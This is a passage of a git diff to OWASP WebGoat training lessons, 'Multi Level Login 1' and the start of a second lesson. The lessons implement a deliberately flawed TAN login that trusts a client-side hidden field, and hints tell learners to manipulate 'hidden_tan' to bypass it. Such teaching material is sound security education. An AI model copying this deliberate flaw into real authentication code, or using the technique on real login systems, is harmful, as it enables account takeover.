getTanPosition(getLoggedInUser(s), s); - if (tanNr == 0) - { - createNoTanLeftContent(ec); - - } - else - { - createAskForTanContent(s, ec, tanNr); - } - - } - else - { - String errorMessage = ""; - - if (!(user + password).equals("")) - { - errorMessage = "Login failed! Make sure " + "that user name and password is correct."; - } - else if (!tan.equals("")) - { - errorMessage = "Login failed. Tan is " + "incorrect."; - } - - createLogInContent(ec, errorMessage); - } - - return ec; - } - - /** - * Create content for logging in - * - * @param ec - */ - private void createLogInContent(ElementContainer ec, String errorMessage) - { - Div loginDiv = new Div(); - loginDiv.setID("lesson_login"); - - Table table = new Table(); - table.addAttribute("align='center'", 0); - TR tr1 = new TR(); - TD td1 = new TD(); - TD td2 = new TD(); - td1.addElement(new StringElement("Enter your name: ")); - td2.addElement(new Input(Input.TEXT, USER)); - tr1.addElement(td1); - tr1.addElement(td2); - - TR tr2 = new TR(); - TD td3 = new TD(); - TD td4 = new TD(); - td3.addElement(new StringElement("Enter your password: ")); - td4.addElement(new Input(Input.PASSWORD, PASSWORD)); - tr2.addElement(td3); - tr2.addElement(td4); - - TR tr3 = new TR(); - TD td5 = new TD(); - td5.setColSpan(2); - td5.setAlign("center"); - - td5.addElement(new Input(Input.SUBMIT, "Submit", "Submit")); - tr3.addElement(td5); - - table.addElement(tr1); - table.addElement(tr2); - table.addElement(tr3); - loginDiv.addElement(table); - ec.addElement(loginDiv); - - H2 errorTag = new H2(errorMessage); - errorTag.addAttribute("align", "center"); - errorTag.addAttribute("class", "info"); - ec.addElement(errorTag); - } - - /** - * Create content in which the tan is asked - * - * @param s - * @param ec - * @param tanNr - */ - private void createAskForTanContent(WebSession s, ElementContainer ec, int tanNr) - { - - Div loginDiv = new Div(); - loginDiv.setID("lesson_login"); - - Table table = new Table(); - table.addAttribute("align='center'", 0); - TR tr1 = new TR(); - TD td1 = new TD(); - TD td2 = new TD(); - td1.addElement(new StringElement("Enter TAN #" + tanNr + ": ")); - td2.addElement(new Input(Input.TEXT, TAN)); - tr1.addElement(td1); - tr1.addElement(td2); - - TR tr2 = new TR(); - TD td3 = new TD(); - td3.setColSpan(2); - td3.setAlign("center"); - - td3.addElement(new Input(Input.SUBMIT, "Submit", "Submit")); - tr2.addElement(td3); - - table.addElement(tr1); - table.addElement(tr2); - - ec.addElement(new Input(Input.HIDDEN, HIDDEN_TAN, tanNr)); - loginDiv.addElement(table); - ec.addElement(loginDiv); - ec.addElement(createLogoutLink()); - - } - - /** - * Create content if there is no tan left - * - * @param ec - */ - private void createNoTanLeftContent(ElementContainer ec) - { - - ec.addElement(new BR()); - ec.addElement(new BR()); - ec.addElement(new BR()); - ec.addElement(new BR()); - H1 h = new H1("
No tan is left! Please contact the admin.
"); - ec.addElement(h); - ec.addElement(createLogoutLink()); - } - - /** - * Create content after a successful login - * - * @param s - * @param ec - */ - private void createSuccessfulLoginContent(WebSession s, ElementContainer ec) - { - - updateTan(getLoggedInUser(s), s); - String userDataStyle = "margin-top:50px;"; - - Div userDataDiv = new Div(); - userDataDiv.setStyle(userDataStyle); - userDataDiv.addAttribute("align", "center"); - Table table = new Table(); - table.addAttribute("cellspacing", 10); - table.addAttribute("cellpadding", 5); - - table.addAttribute("align", "center"); - TR tr1 = new TR(); - TR tr2 = new TR(); - TR tr3 = new TR(); - TR tr4 = new TR(); - tr1.addElement(new TD("Firstname:")); - tr1.addElement(new TD(getLoggedInUser(s))); - - try - { - ResultSet results = getUser(getLoggedInUser(s), s); - results.first(); - - tr2.addElement(new TD("Lastname:")); - tr2.addElement(new TD(results.getString("last_name"))); - - tr3.addElement(new TD("Credit Card Type:")); - tr3.addElement(new TD(results.getString("cc_type"))); - - tr4.addElement(new TD("Credit Card Number:")); - tr4.addElement(new TD(results.getString("cc_number"))); - - } - - catch (Exception e) - { - e.printStackTrace(); - } - table.addElement(tr1); - table.addElement(tr2); - table.addElement(tr3); - table.addElement(tr4); - - userDataDiv.addElement(table); - ec.addElement(userDataDiv); - ec.addElement(createLogoutLink()); - } - - /** - * Create a link for logging out - * - * @return Element - */ - private Element createLogoutLink() - { - A logoutLink = new A(); - logoutLink.addAttribute("href", getLink() + "&logout=true"); - logoutLink.addElement("Logout"); - - String logoutStyle = "margin-right:50px; mrgin-top:30px"; - Div logoutDiv = new Div(); - logoutDiv.addAttribute("align", "right"); - logoutDiv.addElement(logoutLink); - logoutDiv.setStyle(logoutStyle); - - return logoutDiv; - } - - /** - * Update the tan. Every tan should be used only once. - * - * @param user - * @param s - */ - private void updateTan(String user, WebSession s) - { - int tanNr = getTanPosition(user, s); - - Connection connection = null; - - try - { - connection = DatabaseUtilities.getConnection(s); - String query = "UPDATE user_data_tan SET login_count = ? WHERE first_name = ?"; - PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - prepStatement.setInt(1, tanNr); - prepStatement.setString(2, user); - prepStatement.execute(); - - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - try - { - if (connection != null) - { - connection.close(); - } - } catch (Exception e) - { - e.printStackTrace(); - } - } - - } - - /** - * If lesson is reseted the tans should be resetted too - * - * @param s - */ - private void resetTans(WebSession s) - { - Connection connection = null; - try - { - connection = DatabaseUtilities.getConnection(s); - String query = "UPDATE user_data_tan SET login_count = 0 WHERE login_count > 0"; - PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - prepStatement.execute(); - - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - try - { - if (connection != null) - { - connection.close(); - } - } catch (Exception e) - { - e.printStackTrace(); - } - } - - } - - /** - * Get the count of the tan - * - * @param user - * @param s - * @return tanPosition - */ - private int getTanPosition(String user, WebSession s) - { - int tanNr = 0; - Connection connection = null; - try - { - connection = DatabaseUtilities.getConnection(s); - String query = "SELECT login_count FROM user_data_tan WHERE first_name = ?"; - PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - prepStatement.setString(1, user); - ResultSet results = prepStatement.executeQuery(); - - if ((results != null) && (results.first() == true)) - { - - tanNr = results.getInt(results.getRow()); - tanNr = tanNr + 1; - if (tanNr > 5) - { - tanNr = 0; - } - // make sure you don't get the first tan in stage 2 - if (getLessonTracker(s).getStage() == 2 && tanNr == 1) - { - ++tanNr; - } - } - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - try - { - if (connection != null) - { - connection.close(); - } - } catch (Exception e) - { - e.printStackTrace(); - } - } - - return tanNr; - } - - /** - * Get a user by its name - * - * @param user - * @param s - * @return ResultSet containing the user - */ - private ResultSet getUser(String user, WebSession s) - { - Connection connection = null; - try - { - connection = DatabaseUtilities.getConnection(s); - String query = "SELECT * FROM user_data_tan WHERE first_name = ? "; - PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - prepStatement.setString(1, user); - - ResultSet results = prepStatement.executeQuery(); - - return results; - - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - try - { - if (connection != null) - { - connection.close(); - } - } catch (Exception e) - { - e.printStackTrace(); - } - } - return null; - - } - - /** - * See if the tan is correct - * - * @param user - * @param tan - * @param tanPosition - * @param s - * @return true if the tan is correct - */ - private boolean correctTan(String user, String tan, String tanPosition, WebSession s) - { - if (tan.equals("")) { return false; } - Connection connection = null; - try - { - connection = DatabaseUtilities.getConnection(s); - String query = "SELECT user_data_tan.userid FROM user_data_tan, tan WHERE user_data_tan.first_name = ? " - + "AND user_data_tan.userid = tan.userid AND tan.tanValue = ? AND tan.tanNr = ?"; - PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - prepStatement.setString(1, user); - prepStatement.setString(2, tan); - prepStatement.setString(3, tanPosition); - - ResultSet results = prepStatement.executeQuery(); - - if ((results != null) && (results.first() == true)) { - - return true; - - } - - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - try - { - if (connection != null) - { - connection.close(); - } - } catch (Exception e) - { - e.printStackTrace(); - } - } - return false; - } - - /** - * See if the password and corresponding user is valid - * - * @param userName - * @param password - * @param s - * @return true if the password was correct - */ - private boolean correctLogin(String userName, String password, WebSession s) - { - Connection connection = null; - try - { - connection = DatabaseUtilities.getConnection(s); - String query = "SELECT * FROM user_data_tan WHERE first_name = ? AND password = ?"; - PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - prepStatement.setString(1, userName); - prepStatement.setString(2, password); - - ResultSet results = prepStatement.executeQuery(); - - if ((results != null) && (results.first() == true)) { - - return true; - - } - - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - try - { - if (connection != null) - { - connection.close(); - } - } catch (Exception e) - { - e.printStackTrace(); - } - } - - return false; - - } - - /** - * Gets the category attribute of the RoleBasedAccessControl object - * - * @return The category value - */ - protected ElementContainer doStage1(WebSession s) - { - ElementContainer ec = new ElementContainer(); - ec.addElement(createMainContent(s)); - return ec; - - } - - /** - * After finishing succesful stage1 this function is called - */ - protected Element doStage2(WebSession s) - { - ElementContainer ec = new ElementContainer(); - ec.addElement(createMainContent(s)); - return ec; - } - - /** - * Get the category - * - * @return the category - */ - protected Category getDefaultCategory() - { - return Category.AUTHENTICATION; - } - - /** - * Gets the hints attribute of the RoleBasedAccessControl object - * - * @return The hints value - */ - public List getHints(WebSession s) - { - List hints = new ArrayList(); - - hints.add("Stage 1: Just do a regular login"); - hints.add("Stage 2: How does the server know which TAN has to be used?"); - hints.add("Stage 2: Maybe taking a look at the source code helps"); - hints.add("Stage 2: Watch out for hidden fields"); - hints.add("Stage 2: Manipulate the hidden field 'hidden_tan'"); - - return hints; - - } - - /** - * Get the instructions for the user - */ - public String getInstructions(WebSession s) - { - String instructions = ""; - if (getLessonTracker(s).getStage() == 1) - { - instructions = "STAGE 1:\t This stage is just to show how a classic multi login works. " - + "Your goal is to do a regular login as Jane with password tarzan. " - + "You have following TANs:
" + "Tan #1 = 15648
" + "Tan #2 = 92156
" - + "Tan #3 = 4879
" + "Tan #4 = 9458
" + "Tan #5 = 4879
"; - - } - else if (getLessonTracker(s).getStage() == 2) - { - instructions = "STAGE 2:\tNow you are a hacker who " + "already has stolen some information from Jane by " - + "a phishing mail. " + "You have the password which is tarzan and " - + "the Tan #1 which is 15648
" + "The problem is that the first tan is already " - + "used... try to break into the system anyway. "; - } - - return (instructions); - } - - private final static Integer DEFAULT_RANKING = new Integer(110); - - /** - * Get the ranking for the hirarchy of lessons - */ - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - /** - * Get the title of the Lesson - */ - public String getTitle() - { - return ("Multi Level Login 1"); - } - - public Element getCredits() - { - return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement("")); - } + private final static String USER = "user"; + private final static String PASSWORD = "pass"; + private final static String HIDDEN_TAN = "hidden_tan"; + private final static String TAN = "tan"; + + private final static String LOGGEDIN = "loggedin"; + private final static String CORRECTTAN = "correctTan"; + private final static String LOGGEDINUSER = "loggedInUser"; + + /** + * Creates Staged WebContent + * + * @param s + */ + protected Element createContent(WebSession s) + { + return super.createStagedContent(s); + } + + /** + * See if the user has logged in correctly + * + * @param s + * @return true if loggedIn + */ + private boolean loggedIn(WebSession s) + { + try + { + return s.get(LOGGEDIN).equals("true"); + } catch (Exception e) + { + return false; + } + } + + /** + * See if the user had used a valid tan + * + * @param s + * @return true if correctTan + */ + private boolean correctTan(WebSession s) + { + try + { + return s.get(CORRECTTAN).equals("true"); + } catch (Exception e) + { + return false; + } + } + + /** + * Get the logged in user + * + * @param s + * @return the logged in user + */ + private String getLoggedInUser(WebSession s) + { + try + { + String user = (String) s.get(LOGGEDINUSER); + return user; + } catch (Exception e) + { + return ""; + } + } + + /** + * Creation of the main content + * + * @param s + * @return Element + */ + protected Element createMainContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); + + try + { + style sty = new style(); + + sty + .addElement("#lesson_wrapper {height: 435px;width: " + + "500px;}#lesson_header {background-image: " + + "url(lessons/DBSQLInjection/images/lesson1_header.jpg);width:" + + " 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}.lesson_workspace " + + "{background-image: url(lessons/DBSQLInjection/images/lesson1_workspace.jpg);width: 489px;height: " + + "325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} " + + ".lesson_text {height: 240px;width: 460px;padding-top: 5px;} " + + "#lesson_buttons_bottom {height: 20px;width: 460px;} " + + "#lesson_b_b_left {width: 300px;float: left;} " + + "#lesson_b_b_right input {width: 100px;float: right;} " + + ".lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} " + + ".lesson_workspace { } " + + ".lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} " + + ".lesson_text_db {color: #0066FF} " + + "#lesson_login {background-image: url(lessons/DBSQLInjection/images/lesson1_loginWindow.jpg);height: " + + "124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top:" + + " 50px;text-align: center;} #lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: " + + "12px;text-align: center;} #lesson_search {background-image: " + + "url(lessons/DBSQLInjection/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: " + + "no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;}"); + ec.addElement(sty); + + Div wrapperDiv = new Div(); + wrapperDiv.setID("lesson_wrapper"); + + Div headerDiv = new Div(); + headerDiv.setID("lesson_header"); + + Div workspaceDiv = new Div(); + workspaceDiv.setClass("lesson_workspace"); + + wrapperDiv.addElement(headerDiv); + wrapperDiv.addElement(workspaceDiv); + + ec.addElement(wrapperDiv); + + workspaceDiv.addElement(createWorkspaceContent(s)); + + } catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + + return (ec); + } + + /** + * Creation of the content of the workspace + * + * @param s + * @return Element + */ + private Element createWorkspaceContent(WebSession s) + { + String user = ""; + user = s.getParser().getStringParameter(USER, ""); + String password = ""; + password = s.getParser().getStringParameter(PASSWORD, ""); + String tan = ""; + tan = s.getParser().getStringParameter(TAN, ""); + String hiddenTan = s.getParser().getStringParameter(HIDDEN_TAN, ""); + + ElementContainer ec = new ElementContainer(); + + // verify that tan is correct and user is logged in + if (loggedIn(s) && correctTan(getLoggedInUser(s), tan, hiddenTan, s)) + { + s.add(CORRECTTAN, "true"); + } + // user is loggedIn but enters wrong tan + else if (loggedIn(s) && !correctTan(getLoggedInUser(s), tan, hiddenTan, s)) + { + s.add(LOGGEDIN, "false"); + } + + // verify the password + if (correctLogin(user, password, s)) + { + s.add(LOGGEDIN, "true"); + s.add(LOGGEDINUSER, user); + } + + // if restart link is clicked owe have to reset log in + if (!s.getParser().getStringParameter("Restart", "").equals("")) + { + s.add(LOGGEDIN, "false"); + s.add(CORRECTTAN, "false"); + resetTans(s); + } + // Logout Button is pressed + if (s.getParser().getRawParameter("logout", "").equals("true")) + { + s.add(LOGGEDIN, "false"); + s.add(CORRECTTAN, "false"); + + } + if (loggedIn(s) && correctTan(s)) + { + s.add(LOGGEDIN, "false"); + s.add(CORRECTTAN, "false"); + + createSuccessfulLoginContent(s, ec); + if (getLessonTracker(s).getStage() == 2) + { + if (hiddenTan.equals("1")) + { + makeSuccess(s); + } + } + else + { + getLessonTracker(s).setStage(2); + s.setMessage("Stage 1 completed."); + } + } + + else if (loggedIn(s)) + { + int tanNr = getTanPosition(getLoggedInUser(s), s); + if (tanNr == 0) + { + createNoTanLeftContent(ec); + + } + else + { + createAskForTanContent(s, ec, tanNr); + } + + } + else + { + String errorMessage = ""; + + if (!(user + password).equals("")) + { + errorMessage = "Login failed! Make sure " + "that user name and password is correct."; + } + else if (!tan.equals("")) + { + errorMessage = "Login failed. Tan is " + "incorrect."; + } + + createLogInContent(ec, errorMessage); + } + + return ec; + } + + /** + * Create content for logging in + * + * @param ec + */ + private void createLogInContent(ElementContainer ec, String errorMessage) + { + Div loginDiv = new Div(); + loginDiv.setID("lesson_login"); + + Table table = new Table(); + table.addAttribute("align='center'", 0); + TR tr1 = new TR(); + TD td1 = new TD(); + TD td2 = new TD(); + td1.addElement(new StringElement("Enter your name: ")); + td2.addElement(new Input(Input.TEXT, USER)); + tr1.addElement(td1); + tr1.addElement(td2); + + TR tr2 = new TR(); + TD td3 = new TD(); + TD td4 = new TD(); + td3.addElement(new StringElement("Enter your password: ")); + td4.addElement(new Input(Input.PASSWORD, PASSWORD)); + tr2.addElement(td3); + tr2.addElement(td4); + + TR tr3 = new TR(); + TD td5 = new TD(); + td5.setColSpan(2); + td5.setAlign("center"); + + td5.addElement(new Input(Input.SUBMIT, "Submit", "Submit")); + tr3.addElement(td5); + + table.addElement(tr1); + table.addElement(tr2); + table.addElement(tr3); + loginDiv.addElement(table); + ec.addElement(loginDiv); + + H2 errorTag = new H2(errorMessage); + errorTag.addAttribute("align", "center"); + errorTag.addAttribute("class", "info"); + ec.addElement(errorTag); + } + + /** + * Create content in which the tan is asked + * + * @param s + * @param ec + * @param tanNr + */ + private void createAskForTanContent(WebSession s, ElementContainer ec, int tanNr) + { + + Div loginDiv = new Div(); + loginDiv.setID("lesson_login"); + + Table table = new Table(); + table.addAttribute("align='center'", 0); + TR tr1 = new TR(); + TD td1 = new TD(); + TD td2 = new TD(); + td1.addElement(new StringElement("Enter TAN #" + tanNr + ": ")); + td2.addElement(new Input(Input.TEXT, TAN)); + tr1.addElement(td1); + tr1.addElement(td2); + + TR tr2 = new TR(); + TD td3 = new TD(); + td3.setColSpan(2); + td3.setAlign("center"); + + td3.addElement(new Input(Input.SUBMIT, "Submit", "Submit")); + tr2.addElement(td3); + + table.addElement(tr1); + table.addElement(tr2); + + ec.addElement(new Input(Input.HIDDEN, HIDDEN_TAN, tanNr)); + loginDiv.addElement(table); + ec.addElement(loginDiv); + ec.addElement(createLogoutLink()); + + } + + /** + * Create content if there is no tan left + * + * @param ec + */ + private void createNoTanLeftContent(ElementContainer ec) + { + + ec.addElement(new BR()); + ec.addElement(new BR()); + ec.addElement(new BR()); + ec.addElement(new BR()); + H1 h = new H1("
No tan is left! Please contact the admin.
"); + ec.addElement(h); + ec.addElement(createLogoutLink()); + } + + /** + * Create content after a successful login + * + * @param s + * @param ec + */ + private void createSuccessfulLoginContent(WebSession s, ElementContainer ec) + { + + updateTan(getLoggedInUser(s), s); + String userDataStyle = "margin-top:50px;"; + + Div userDataDiv = new Div(); + userDataDiv.setStyle(userDataStyle); + userDataDiv.addAttribute("align", "center"); + Table table = new Table(); + table.addAttribute("cellspacing", 10); + table.addAttribute("cellpadding", 5); + + table.addAttribute("align", "center"); + TR tr1 = new TR(); + TR tr2 = new TR(); + TR tr3 = new TR(); + TR tr4 = new TR(); + tr1.addElement(new TD("Firstname:")); + tr1.addElement(new TD(getLoggedInUser(s))); + + try + { + ResultSet results = getUser(getLoggedInUser(s), s); + results.first(); + + tr2.addElement(new TD("Lastname:")); + tr2.addElement(new TD(results.getString("last_name"))); + + tr3.addElement(new TD("Credit Card Type:")); + tr3.addElement(new TD(results.getString("cc_type"))); + + tr4.addElement(new TD("Credit Card Number:")); + tr4.addElement(new TD(results.getString("cc_number"))); + + } + + catch (Exception e) + { + e.printStackTrace(); + } + table.addElement(tr1); + table.addElement(tr2); + table.addElement(tr3); + table.addElement(tr4); + + userDataDiv.addElement(table); + ec.addElement(userDataDiv); + ec.addElement(createLogoutLink()); + } + + /** + * Create a link for logging out + * + * @return Element + */ + private Element createLogoutLink() + { + A logoutLink = new A(); + logoutLink.addAttribute("href", getLink() + "&logout=true"); + logoutLink.addElement("Logout"); + + String logoutStyle = "margin-right:50px; mrgin-top:30px"; + Div logoutDiv = new Div(); + logoutDiv.addAttribute("align", "right"); + logoutDiv.addElement(logoutLink); + logoutDiv.setStyle(logoutStyle); + + return logoutDiv; + } + + /** + * Update the tan. Every tan should be used only once. + * + * @param user + * @param s + */ + private void updateTan(String user, WebSession s) + { + int tanNr = getTanPosition(user, s); + + Connection connection = null; + + try + { + connection = DatabaseUtilities.getConnection(s); + String query = "UPDATE user_data_tan SET login_count = ? WHERE first_name = ?"; + PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + prepStatement.setInt(1, tanNr); + prepStatement.setString(2, user); + prepStatement.execute(); + + } catch (Exception e) + { + e.printStackTrace(); + } finally + { + try + { + if (connection != null) + { + connection.close(); + } + } catch (Exception e) + { + e.printStackTrace(); + } + } + + } + + /** + * If lesson is reseted the tans should be resetted too + * + * @param s + */ + private void resetTans(WebSession s) + { + Connection connection = null; + try + { + connection = DatabaseUtilities.getConnection(s); + String query = "UPDATE user_data_tan SET login_count = 0 WHERE login_count > 0"; + PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + prepStatement.execute(); + + } catch (Exception e) + { + e.printStackTrace(); + } finally + { + try + { + if (connection != null) + { + connection.close(); + } + } catch (Exception e) + { + e.printStackTrace(); + } + } + + } + + /** + * Get the count of the tan + * + * @param user + * @param s + * @return tanPosition + */ + private int getTanPosition(String user, WebSession s) + { + int tanNr = 0; + Connection connection = null; + try + { + connection = DatabaseUtilities.getConnection(s); + String query = "SELECT login_count FROM user_data_tan WHERE first_name = ?"; + PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + prepStatement.setString(1, user); + ResultSet results = prepStatement.executeQuery(); + + if ((results != null) && (results.first() == true)) + { + + tanNr = results.getInt(results.getRow()); + tanNr = tanNr + 1; + if (tanNr > 5) + { + tanNr = 0; + } + // make sure you don't get the first tan in stage 2 + if (getLessonTracker(s).getStage() == 2 && tanNr == 1) + { + ++tanNr; + } + } + } catch (Exception e) + { + e.printStackTrace(); + } finally + { + try + { + if (connection != null) + { + connection.close(); + } + } catch (Exception e) + { + e.printStackTrace(); + } + } + + return tanNr; + } + + /** + * Get a user by its name + * + * @param user + * @param s + * @return ResultSet containing the user + */ + private ResultSet getUser(String user, WebSession s) + { + Connection connection = null; + try + { + connection = DatabaseUtilities.getConnection(s); + String query = "SELECT * FROM user_data_tan WHERE first_name = ? "; + PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + prepStatement.setString(1, user); + + ResultSet results = prepStatement.executeQuery(); + + return results; + + } catch (Exception e) + { + e.printStackTrace(); + } finally + { + try + { + if (connection != null) + { + connection.close(); + } + } catch (Exception e) + { + e.printStackTrace(); + } + } + return null; + + } + + /** + * See if the tan is correct + * + * @param user + * @param tan + * @param tanPosition + * @param s + * @return true if the tan is correct + */ + private boolean correctTan(String user, String tan, String tanPosition, WebSession s) + { + if (tan.equals("")) { return false; } + Connection connection = null; + try + { + connection = DatabaseUtilities.getConnection(s); + String query = "SELECT user_data_tan.userid FROM user_data_tan, tan WHERE user_data_tan.first_name = ? " + + "AND user_data_tan.userid = tan.userid AND tan.tanValue = ? AND tan.tanNr = ?"; + PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + prepStatement.setString(1, user); + prepStatement.setString(2, tan); + prepStatement.setString(3, tanPosition); + + ResultSet results = prepStatement.executeQuery(); + + if ((results != null) && (results.first() == true)) { + + return true; + + } + + } catch (Exception e) + { + e.printStackTrace(); + } finally + { + try + { + if (connection != null) + { + connection.close(); + } + } catch (Exception e) + { + e.printStackTrace(); + } + } + return false; + } + + /** + * See if the password and corresponding user is valid + * + * @param userName + * @param password + * @param s + * @return true if the password was correct + */ + private boolean correctLogin(String userName, String password, WebSession s) + { + Connection connection = null; + try + { + connection = DatabaseUtilities.getConnection(s); + String query = "SELECT * FROM user_data_tan WHERE first_name = ? AND password = ?"; + PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + prepStatement.setString(1, userName); + prepStatement.setString(2, password); + + ResultSet results = prepStatement.executeQuery(); + + if ((results != null) && (results.first() == true)) { + + return true; + + } + + } catch (Exception e) + { + e.printStackTrace(); + } finally + { + try + { + if (connection != null) + { + connection.close(); + } + } catch (Exception e) + { + e.printStackTrace(); + } + } + + return false; + + } + + /** + * Gets the category attribute of the RoleBasedAccessControl object + * + * @return The category value + */ + protected ElementContainer doStage1(WebSession s) + { + ElementContainer ec = new ElementContainer(); + ec.addElement(createMainContent(s)); + return ec; + + } + + /** + * After finishing succesful stage1 this function is called + */ + protected Element doStage2(WebSession s) + { + ElementContainer ec = new ElementContainer(); + ec.addElement(createMainContent(s)); + return ec; + } + + /** + * Get the category + * + * @return the category + */ + protected Category getDefaultCategory() + { + return Category.AUTHENTICATION; + } + + /** + * Gets the hints attribute of the RoleBasedAccessControl object + * + * @return The hints value + */ + public List getHints(WebSession s) + { + List hints = new ArrayList(); + + hints.add("Stage 1: Just do a regular login"); + hints.add("Stage 2: How does the server know which TAN has to be used?"); + hints.add("Stage 2: Maybe taking a look at the source code helps"); + hints.add("Stage 2: Watch out for hidden fields"); + hints.add("Stage 2: Manipulate the hidden field 'hidden_tan'"); + + return hints; + + } + + /** + * Get the instructions for the user + */ + public String getInstructions(WebSession s) + { + String instructions = ""; + if (getLessonTracker(s).getStage() == 1) + { + instructions = "STAGE 1:\t This stage is just to show how a classic multi login works. " + + "Your goal is to do a regular login as Jane with password tarzan. " + + "You have following TANs:
" + "Tan #1 = 15648
" + "Tan #2 = 92156
" + + "Tan #3 = 4879
" + "Tan #4 = 9458
" + "Tan #5 = 4879
"; + + } + else if (getLessonTracker(s).getStage() == 2) + { + instructions = "STAGE 2:\tNow you are a hacker who " + "already has stolen some information from Jane by " + + "a phishing mail. " + "You have the password which is tarzan and " + + "the Tan #1 which is 15648
" + "The problem is that the first tan is already " + + "used... try to break into the system anyway. "; + } + + return (instructions); + } + + private final static Integer DEFAULT_RANKING = new Integer(110); + + /** + * Get the ranking for the hirarchy of lessons + */ + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + /** + * Get the title of the Lesson + */ + public String getTitle() + { + return ("Multi Level Login 1"); + } + + public Element getCredits() + { + return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement("")); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/MultiLevelLogin2.java b/src/main/java/org/owasp/webgoat/lessons/MultiLevelLogin2.java index d4e1f94f2..38341b699 100644 --- a/src/main/java/org/owasp/webgoat/lessons/MultiLevelLogin2.java +++ b/src/main/java/org/owasp/webgoat/lessons/MultiLevelLogin2.java @@ -57,759 +57,759 @@ import org.owasp.webgoat.session.WebSession; public class MultiLevelLogin2 extends LessonAdapter { - private final static String USER = "user2"; - private final static String PASSWORD = "pass2"; - private final static String TAN = "tan2"; - private final static String HIDDEN_USER = "hidden_user"; - - private final static String LOGGEDIN = "loggedin2"; - private final static String CORRECTTAN = "correctTan2"; - private final static String CURRENTTAN = "currentTan2"; - private final static String CURRENTTANPOS = "currentTanPos2"; - - // needed to see if lesson was successfull - private final static String LOGGEDINUSER = "loggedInUser2"; - - // private String LoggedInUser = ""; - - /** - * See if the user is logged in - * - * @param s - * @return true if loggedIn - */ - private boolean loggedIn(WebSession s) - { - try - { - return s.get(LOGGEDIN).equals("true"); - } catch (Exception e) - { - return false; - } - } - - /** - * See if the user had used a valid tan - * - * @param s - * @return true if correctTan - */ - private boolean correctTan(WebSession s) - { - try - { - return s.get(CORRECTTAN).equals("true"); - } catch (Exception e) - { - return false; - } - } - - /** - * Get the currentTan - * - * @param s - * @return the logged in user - */ - private String getCurrentTan(WebSession s) - { - try - { - String currentTan = (String) s.get(CURRENTTAN); - return currentTan; - } catch (Exception e) - { - return ""; - } - } - - /** - * Get the currentTanPossition - * - * @param s - * @return the logged in user - */ - private Integer getCurrentTanPosition(WebSession s) - { - try - { - Integer tanPos = (Integer) s.get(CURRENTTANPOS); - return tanPos; - } catch (Exception e) - { - return 0; - } - } - - /** - * Get the logged in user - * - * @param s - * @return the logged in user - */ - private String getLoggedInUser(WebSession s) - { - try - { - String user = (String) s.get(LOGGEDINUSER); - return user; - } catch (Exception e) - { - return ""; - } - } - - /** - * Creates WebContent - * - * @param s - */ - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); - - try - { - style sty = new style(); - - sty - .addElement("#lesson_wrapper {height: 435px;width: 500px;}#lesson_header {background-image: url(lessons/DBSQLInjection/images/lesson1_header.jpg);width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}.lesson_workspace {background-image: url(lessons/DBSQLInjection/images/lesson1_workspace.jpg);width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} .lesson_text {height: 240px;width: 460px;padding-top: 5px;} #lesson_buttons_bottom {height: 20px;width: 460px;} #lesson_b_b_left {width: 300px;float: left;} #lesson_b_b_right input {width: 100px;float: right;} .lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} .lesson_workspace { } .lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} .lesson_text_db {color: #0066FF} #lesson_login {background-image: url(lessons/DBSQLInjection/images/lesson1_loginWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} 